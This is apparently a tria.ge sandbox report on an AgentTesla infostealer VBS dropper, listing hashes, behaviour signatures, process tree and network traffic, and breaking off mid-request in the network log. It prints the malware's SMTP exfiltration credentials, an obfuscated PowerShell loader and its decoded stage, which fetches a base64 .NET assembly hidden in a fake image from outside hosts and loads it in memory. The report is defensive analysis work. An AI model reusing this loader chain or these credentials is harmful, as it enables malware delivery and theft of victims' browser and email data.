Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

f4691cad5e...1e.vbs

windows7-x64

8

f4691cad5e...1e.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/02/2024, 01:43 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f4691cad5e54ee1d239725e5d2ae270a3ab1e6ffec22bc5fe93d42756d78861e.vbs

  • Size

    2KB

  • MD5

    2e84ff9971ebc6427d9e916d9dabb727

  • SHA1

    2cff9666dad3cf3afbfa379718f31081fb1ed57a

  • SHA256

    f4691cad5e54ee1d239725e5d2ae270a3ab1e6ffec22bc5fe93d42756d78861e

  • SHA512

    1224ec9e4dfa00fb6c8ccd8cac0d775e883a2228a2cb34ed2b394bd6716f43b964820a69a8cc56f086372740bda283ad5d69a1e5f312b60de97de3106c9da922

Score
10/10
agentteslakeyloggerspywarestealertrojan

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:     smtp
  • Host:
    mail.tvixcs.top
  • Port:
    587
  • Username:
    bigbox@tvixcs.top
  • Password:
    Alllenjeff4@XX
  • Email To:
    bigdeals@tvixcs.top

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4691cad5e54ee1d239725e5d2ae270a3ab1e6ffec22bc5fe93d42756d78861e.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDEDgTreLwDgTre5DgTreDUDgTreODgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDEDgTreNDgTreDgTrezDgTreDYDgTreNwDgTrezDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreGIDgTreawBwDgTreDEDgTreXwB2DgTreGIDgTrecwDgTreuDgTreGoDgTrecDgTreBnDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwBNDgTreHDgTreDgTreUwB5DgTreFMDgTreeQBvDgTreFgDgTreVQBIDgTreEYDgTreQgBfDgTreEMDgTreQQDgTrehDgTreD0DgTreeQBlDgTreGsDgTreaDgTreB0DgTreHUDgTreYQDgTremDgTreDcDgTreOQDgTreyDgTreDEDgTreMgDgTrelDgTreDQDgTreMgDgTrewDgTreDEDgTreMwDgTre5DgTreEQDgTreMDgTreBCDgTreDQDgTreRDgTreDgTrezDgTreDYDgTreMDgTreBBDgTreDkDgTrePQBkDgTreGkDgTrecwBlDgTreHIDgTrePwBkDgTreGEDgTrebwBsDgTreG4DgTredwBvDgTreGQDgTreLwBtDgTreG8DgTreYwDgTreuDgTreGUDgTredgBpDgTreGwDgTreLgBlDgTreHYDgTreaQByDgTreGQDgTreZQBuDgTreG8DgTreLwDgTrevDgTreDoDgTrecwBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673', 'http://45.74.19.84/xampp/bkp/bkp1_vbs.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('MpSySyoXUHFB_CA!=yekhtua&79212%420139D0B4D360A9=diser?daolnwod/moc.evil.evirdeno//:sptth' , 'desativado' , 'desativado' , 'desativado'))} }"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3688
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3688 -s 1344
            5⤵
            • Program crash
            PID:3200
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3688 -ip 3688
    1⤵
      PID:3232

    Network

    • flag-us
      DNS
      paste.ee
      WScript.exe
      Remote address:
      8.8.8.8:53
      Request
      paste.ee
      IN A
      Response
      paste.ee
      IN A
      104.21.84.67
      paste.ee
      IN A
      172.67.187.200
    • flag-us
      GET
      http://paste.ee/d/QkK2f
      WScript.exe
      Remote address:
      104.21.84.67:80
      Request
      GET /d/QkK2f HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
      Host: paste.ee
      Response
      HTTP/1.1 301 Moved Permanently
      Date: Mon, 12 Feb 2024 01:43:59 GMT
      Content-Type: text/html
      Transfer-Encoding: chunked
      Connection: keep-alive
      Location: https://paste.ee/d/QkK2f
      CF-Cache-Status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2F%2BVjWx8Fm6ybeE%2BdeOeaCpIOO8MaWS3N6jN7xtxQuk0M9GllA7Vpnlor%2BAOD07DPoTockmiRHvgY1015yDy1XYGJaiihn3KCX67W5Fx34YlJhQNGi2o2JB3A5Q%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 854124d56f046415-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://paste.ee/d/QkK2f
      WScript.exe
      Remote address:
      104.21.84.67:443
      Request
      GET /d/QkK2f HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
      Host: paste.ee
      Response
      HTTP/1.1 200 OK
      Date: Mon, 12 Feb 2024 01:44:00 GMT
      Content-Type: text/plain; charset=utf-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      Cache-Control: max-age=2592000
      strict-transport-security: max-age=63072000
      x-frame-options: DENY
      x-content-type-options: nosniff
      x-xss-protection: 1; mode=block
      content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
      CF-Cache-Status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HHn3z%2FOaSpp5E8Hgih%2Fv6PuYHM9Lm%2BzLetmwLdE88%2Bzgg2WMq7coFy%2BhrGTQz6Wz%2F7hUKa6SoIAlBm9KovP0iyz0MuoKLGbo8gO5VexuGMlYtorxnDD0pKjjYg%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 854124d7dc7363f2-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      DNS
      79.121.231.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      79.121.231.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      67.84.21.104.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      67.84.21.104.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      154.239.44.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      154.239.44.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      180.178.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      180.178.17.96.in-addr.arpa
      IN PTR
      Response
      180.178.17.96.in-addr.arpa
      IN PTR
      a96-17-178-180deploystaticakamaitechnologiescom
    • flag-us
      DNS
      uploaddeimagens.com.br
      powershell.exe
      Remote address:
      8.8.8.8:53
      Request
      uploaddeimagens.com.br
      IN A
      Response
      uploaddeimagens.com.br
      IN A
      172.67.215.45
      uploaddeimagens.com.br
      IN A
      104.21.45.138
    • flag-us
      GET
      https://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673
      powershell.exe
      Remote address:
      172.67.215.45:443
      Request
      GET /images/004/731/958/original/new_image.jpg?1707143673 HTTP/1.1
      Host: uploaddeimagens.com.br
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Mon, 12 Feb 2024 01:44:01 GMT
      Content-Type: image/jpeg
      Content-Length: 8369614
      Connection: keep-alive
      Last-Modified: Mon, 05 Feb 2024 14:34:33 GMT
      ETag: "65c0f1f9-7fb5ce"
      Cache-Control: max-age=2678400
      CF-Cache-Status: REVALIDATED
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CdWUfqJ4EiM%2FFl7tYKeB7M5pQJ7%2F0xCaVRRMYrQbhwNQsjfUfBJTsAtvdwKvMu%2BAwbF8DDMby8GosTBhLT%2BPE%2FDPjKsBiib61Dno0rtQW02tbqZXomhAuEKY30dcRnBDD0tmwOi0aZFd"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 854124e029e863f7-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      DNS
      72.32.126.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      72.32.126.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      45.215.67.172.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      45.215.67.172.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      onedrive.live.com
      powershell.exe
      Remote address:
      8.8.8.8:53
      Request
      onedrive.live.com
      IN A
      Response
      onedrive.live.com
      IN CNAME
      web.fe.1drv.com
      web.fe.1drv.com
      IN CNAME
      odc-web-geo.onedrive.akadns.net
      odc-web-geo.onedrive.akadns.net
      IN CNAME
      odc-web-brs.onedrive.akadns.net
      odc-web-brs.onedrive.akadns.net
      IN CNAME
      odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net
      odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net
      IN CNAME
      dual-spov-0006.spov-msedge.net
      dual-spov-0006.spov-msedge.net
      IN A
      13.107.137.11
      dual-spov-0006.spov-msedge.net
      IN A
      13.107.139.11
    • flag-us
      DNS
      onedrive.live.com
      powershell.exe
      Remote address:
      8.8.8.8:53
      Request
      onedrive.live.com
      IN A
    • flag-us
      GET
      https://onedrive.live.com/download?resid=9A063D4B0D931024%21297&authkey=!AC_BFHUXoySySpM
      powershell.exe
      Remote address:
      13.107.137.11:443
      Request
      GET /download?resid=9A063D4B0D931024%21297&authkey=!AC_BFHUXoySySpM HTTP/1.1
      Host: onedrive.live.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 302 Found
      Cache-Control: no-cache, no-store
      Pragma: no-cache
      Content-Type: text/html
      Expires: -1
      Location: https://br9l5q.am.files.1drv.com/y4mPuzsTxSOK_JhylUeVJ_mlOcxgk77u4HAtXFcnHFxs5Bwz-ot4ty9jKEgY_gkUnJOJM8obh7uU1ug-Z0IHz_mG69u8cyaI2jlsCi0F8MuXnBLg5Ch8BUkoafN2I2-35RTBy2ODuRXjqdEh-SdHVbjP-prZciNpRUZaPCTtFgFxfEIhDId55coipT8wdfVDtQe8hjbwNIeJCO3jEob6RQ1Sg/bdlz.txt?download&psid=1
      Set-Cookie: E=P:tlY3GWwr3Ig=:eUwz5NgJoppbNm0ezBoEOjhFK4+pIw+KPw8ksDX5VeA=:F; domain=.live.com; path=/
      Set-Cookie: xid=146f1449-4ea0-4668-b7f1-2a7dca32cc7f&&ODSP-ODWEB-ODCF&76; domain=.live.com; path=/
      Set-Cookie: xidseq=1; domain=.live.com; path=/
      Set-Cookie: LD=; domain=.live.com; expires=Mon, 12-Feb-2024 00:04:05 GMT; path=/
      Set-Cookie: wla42=; domain=live.com; expires=Mon, 19-Feb-2024 01:44:06 GMT; path=/
      X-Content-Type-Options: nosniff
      Strict-Transport-Security: max-age=31536000
      X-MSNServer: 6d4674ff9d-pldzk
      X-ODWebServer: eurwesteur910235-odwebpl
      X-Cache: CONFIG_NOCACHE
      X-MSEdge-Ref: Ref A: 4CA0A0390E804669837DF570F1E06738 Ref B: LON21EDGE2812 Ref C: 2024-02-12T01:44:05Z
      Date: Mon, 12 Feb 2024 01:44:05 GMT
      Content-Length: 0
    • flag-us
      DNS
      br9l5q.am.files.1drv.com
      powershell.exe
      Remote address:
      8.8.8.8:53
      Request
      br9l5q.am.files.1drv.com
      IN A
      Response
      br9l5q.am.files.1drv.com
      IN CNAME
      am-files.fe.1drv.com
      am-files.fe.1drv.com
      IN CNAME
      odc-am-files-geo.onedrive.akadns.net
      odc-am-files-geo.onedrive.akadns.net
      IN CNAME
      odc-am-files-brs.onedrive.akadns.net
      odc-am-files-brs.onedrive.akadns.net
      IN CNAME
      am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net
      am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net
      IN CNAME
      l-0003.l-msedge.net
      l-0003.l-msedge.net
      IN A
      13.107.42.12
    • flag-us
      GET
      https://br9l5q.am.files.1drv.com/y4mPuzsTxSOK_JhylUeVJ_mlOcxgk77u4HAtXFcnHFxs5Bwz-ot4ty9jKEgY_gkUnJOJM8obh7uU1ug-Z0IHz_mG69u8cyaI2jlsCi0F8MuXnBLg5Ch8BUkoafN2I2-35RTBy2ODuRXjqdEh-SdHVbjP-prZciNpRUZaPCTtFgFxfEIhDId55coipT8wdfVDtQe8hjbwNIeJCO3jEob6RQ1Sg/bdlz.txt?download&psid=1
      powershell.exe
      Remote address:
      13.107.42.12:443
      Request
